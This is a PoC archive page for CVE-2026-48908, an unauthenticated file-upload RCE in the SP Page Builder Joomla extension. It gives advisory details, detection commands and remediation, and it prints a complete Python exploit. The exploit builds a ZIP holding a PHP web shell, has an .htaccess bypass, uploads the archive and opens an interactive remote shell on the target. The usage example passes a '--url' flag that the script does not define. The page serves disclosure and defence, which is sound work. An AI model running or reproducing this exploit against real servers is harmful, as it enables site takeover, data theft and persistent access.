PoC Archive PoC Archive
Critical CVE-2026-48908 patched

SP Page Builder (Joomla) Unauthenticated File Upload RCE (CVE-2026-48908)

by Ashraf Zaryouh / 0xBlackash · 2026-06-30

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-48908
Category
web
Affected product
SP Page Builder extension for Joomla (joomshaper.net)
Affected versions
1.0.0 through 6.6.1
Disclosed
2026-06-30
Patch status
patched

Metadata

FieldValue
Date Added2026-06-30
Last Updated2026-06-30
Author / ResearcherAshraf Zaryouh / 0xBlackash
CVE / AdvisoryCVE-2026-48908
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv4, Joomla! Project CNA; AV:N/AC:L/AT:N/PR:N/UI:N)
StatusPoC
TagsRCE, unauthenticated, file-upload, PHP-webshell, Joomla, CMS, access-control, Python, CVSS-10
RelatedN/A

Affected Target

FieldValue
Software / SystemSP Page Builder extension for Joomla (joomshaper.net)
Versions Affected1.0.0 through 6.6.1
Language / PlatformPython (PoC); PHP / Joomla (target)
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes (HTTP/HTTPS)

Summary

CVE-2026-48908 is a CVSS 10.0 unauthenticated remote code execution vulnerability in SP Page Builder, one of the most widely used Joomla page-builder extensions (joomshaper.net). The asset.uploadCustomIcon endpoint enforces no authentication, no authorisation, and no file-type restrictions, allowing any unauthenticated attacker to upload a crafted IcoMoon ZIP archive containing a PHP web shell. The uploaded shell is immediately accessible and provides full server-side code execution. Fixed in SP Page Builder 6.6.2.


Vulnerability Details

Root Cause

The com_sppagebuilder component exposes the asset.uploadCustomIcon task to unauthenticated HTTP requests. The handler:

  • Does not check Joomla session tokens or user authentication state.
  • Does not validate or restrict the file types within the uploaded ZIP archive.
  • Extracts uploaded archive contents directly to the web root, making PHP files web-accessible.

CWE-284 (Improper Access Control).

Attack Steps

  1. Identify target running SP Page Builder 1.0.0 – 6.6.1.
  2. Create an IcoMoon-format ZIP archive containing a PHP web shell (e.g., cmd.php).
  3. POST the archive to /?option=com_sppagebuilder&task=asset.uploadCustomIcon.
  4. The server extracts the ZIP; the PHP file lands in a web-accessible directory.
  5. Send HTTP GET/POST to the uploaded shell URL to execute arbitrary OS commands.

Impact

  • Full unauthenticated remote code execution as the web server user.
  • Database credential theft, lateral movement to backend systems.
  • Persistent access via web shell survival across deployments.
  • Administrative takeover of the Joomla instance.

Environment / Lab Setup

Target:   Joomla CMS + SP Page Builder 1.0.0 – 6.6.1
Attacker: Python 3 with requests library

Proof of Concept

Run

1
2
3
4
git clone https://github.com/0xBlackash/CVE-2026-48908
cd CVE-2026-48908
pip install requests
python3 CVE-2026-48908.py --url https://target.example.com

Expected Output

[*] Target: https://target.example.com
[*] Uploading malicious IcoMoon ZIP...
[+] Upload successful.
[+] Web shell accessible at: https://target.example.com/components/com_sppagebuilder/assets/icons/cmd.php
[*] Testing RCE: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] RCE confirmed.

Detection & Indicators of Compromise

1
2
3
4
5
6
7
find /var/www/html/components/com_sppagebuilder/assets/ -name "*.php"

grep "uploadCustomIcon" /var/log/apache2/access.log | grep "POST"

find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -1

mysql -u root -e "SELECT username,email FROM joomla.jos_users WHERE usertype='Super Users';"

Remediation

ActionDetail
PatchUpgrade SP Page Builder to 6.6.2 or later
AuditScan upload directories for unexpected PHP files; remove any found
WAFBlock POST requests to task=asset.uploadCustomIcon for unauthenticated users
HardenDisable ZIP extraction into web-accessible directories at the server level

References

CVE-2026-48908.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-48908.py
Unauthenticated Remote Code Execution in SP Page Builder for Joomla (<= 6.6.1)

Author: Ashraf Zaryouh (@0xBlackash)
GitHub : https://github.com/0xBlackash
Date   : June 2026

Description:
    Exploits improper access control in com_sppagebuilder task=asset.uploadCustomIcon
    Allows unauthenticated attackers to upload arbitrary PHP files via a crafted
    IcoMoon ZIP and achieve RCE.

⚠️  FOR EDUCATIONAL PURPOSES AND AUTHORIZED TESTING ONLY  ⚠️
    Unauthorized use against systems you do not own is illegal.
"""

import argparse
import io
import json
import random
import string
import sys
import zipfile

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ================= CONFIG =================
BANNER = r"""
 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                         
                CVE-2026-48908  •  0xBlackash
"""

USER_AGENT = "Mozilla/5.0 (compatible; 0xBlackash-Research/1.0; +https://github.com/0xBlackash)"
TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon"
ICONBASE = "media/com_sppagebuilder/assets/iconfont"


def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))


def normalize_url(url):
    url = url.strip().rstrip('/')
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    return url


def build_malicious_zip(name, shell_name, token, use_htaccess=False):
    shell_content = f'''<?php
// CVE-2026-48908 webshell - 0xBlackash
if ($_GET['t'] ?? '' !== '{token}') {{
    http_response_code(404);
    die();
}}
if (isset($_GET['c'])) {{
    system($_GET['c']);
}} elseif (isset($_GET['cmd'])) {{
    system($_GET['cmd']);
}}
echo "0xBlackash was here\\n";
?>
'''

    selection = json.dumps({
        "IcoMoonType": "selection",
        "icons": [],
        "metadata": {"name": name},
        "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}}
    }).encode()

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
        z.writestr('selection.json', selection)
        z.writestr('style.css', b'.ico-test:before{content:"test";}')
        z.writestr(f'fonts/{name}.ttf', b'FAKEFONT')
        
        if use_htaccess:
            z.writestr('fonts/.htaccess', b'AddType application/x-httpd-php .PHP\n')
            shell_rel = f'fonts/{shell_name}.PHP'
        else:
            shell_rel = f'fonts/{shell_name}.php'
        
        z.writestr(shell_rel, shell_content.encode())
    
    return buf.getvalue(), shell_rel


def upload_zip(session, base_url, zip_data, zip_name):
    files = {'custom_icon': (f'{zip_name}.zip', zip_data, 'application/zip')}
    try:
        r = session.post(f"{base_url}/{TASK}", files=files, verify=False, timeout=25)
        
        if "require admin access" in r.text.lower() or r.status_code == 403:
            return "PATCHED"
        
        data = r.json()
        if data.get('status'):
            css_path = data.get('data', {}).get('css_path', '')
            if css_path:
                return css_path.rsplit('/', 2)[0]  # iconfont dir
    except Exception:
        pass
    return None


def execute_command(session, base_url, shell_path, token, cmd="id"):
    params = {'t': token, 'c': cmd}
    try:
        r = session.get(f"{base_url}/{shell_path}", params=params, verify=False, timeout=20)
        return r.status_code, r.text.strip()
    except Exception as e:
        return None, str(e)


def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-48908 PoC by 0xBlackash")
    parser.add_argument("target", help="Target URL (e.g. https://example.com)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
    parser.add_argument("--cleanup", action="store_true", help="Attempt cleanup after exploitation")
    parser.add_argument("--token", default=random_string(16), help="Secret token (default: random)")
    args = parser.parse_args()

    base = normalize_url(args.target)
    session = requests.Session()
    session.headers.update({"User-Agent": USER_AGENT})

    print(f"[*] Target     : {base}")
    print(f"[*] Token      : {args.token}")
    print("[*] Testing vulnerability...")

    success = False
    methods = [False, True]  # normal .php then .PHP + .htaccess

    for use_htaccess in methods:
        name = "ico" + random_string(6)
        shell_name = "shell" + random_string(6)
        
        zip_data, shell_rel = build_malicious_zip(name, shell_name, args.token, use_htaccess)
        iconfont_dir = upload_zip(session, base, zip_data, name)
        
        if iconfont_dir == "PATCHED":
            print("[-] Target appears to be patched (6.6.2+)")
            sys.exit(1)
        
        if not iconfont_dir:
            continue
            
        shell_path = f"{iconfont_dir}/fonts/{shell_name}{'.PHP' if use_htaccess else '.php'}"
        
        code, output = execute_command(session, base, shell_path, args.token, "echo 0xB4CK4SH_42")
        
        if code == 200 and "0xB4CK4SH_42" in output:
            print(f"[+] SUCCESS! RCE confirmed via {'htaccess bypass' if use_htaccess else 'direct PHP'}")
            print(f"[+] Webshell   : {base}/{shell_path}?t={args.token}&c=<cmd>")
            success = True
            break

    if not success:
        print("[-] Exploitation failed. Target may not be vulnerable.")
        sys.exit(2)

    # Execute requested command
    if not args.shell:
        print(f"\n[*] Executing: {args.cmd}")
        _, out = execute_command(session, base, shell_path, args.token, args.cmd)
        print("="*80)
        print(out)
        print("="*80)

    # Interactive shell
    if args.shell:
        print("[+] Interactive shell started. Type 'exit' to quit.")
        while True:
            try:
                cmd = input("\n0xBlackash$ ")
                if cmd.lower() in ['exit', 'quit']:
                    break
                if cmd.strip():
                    _, out = execute_command(session, base, shell_path, args.token, cmd)
                    print(out)
            except (KeyboardInterrupt, EOFError):
                break

    if args.cleanup:
        print("[*] Cleanup requested (best effort)")
        cleanup_cmd = f"rm -rf {iconfont_dir.split('/')[-1]} 2>/dev/null || echo 'manual cleanup needed'"
        execute_command(session, base, shell_path, args.token, cleanup_cmd)

    print("\n[*] Done. Stay safe and patch your systems!")


if __name__ == "__main__":
    main()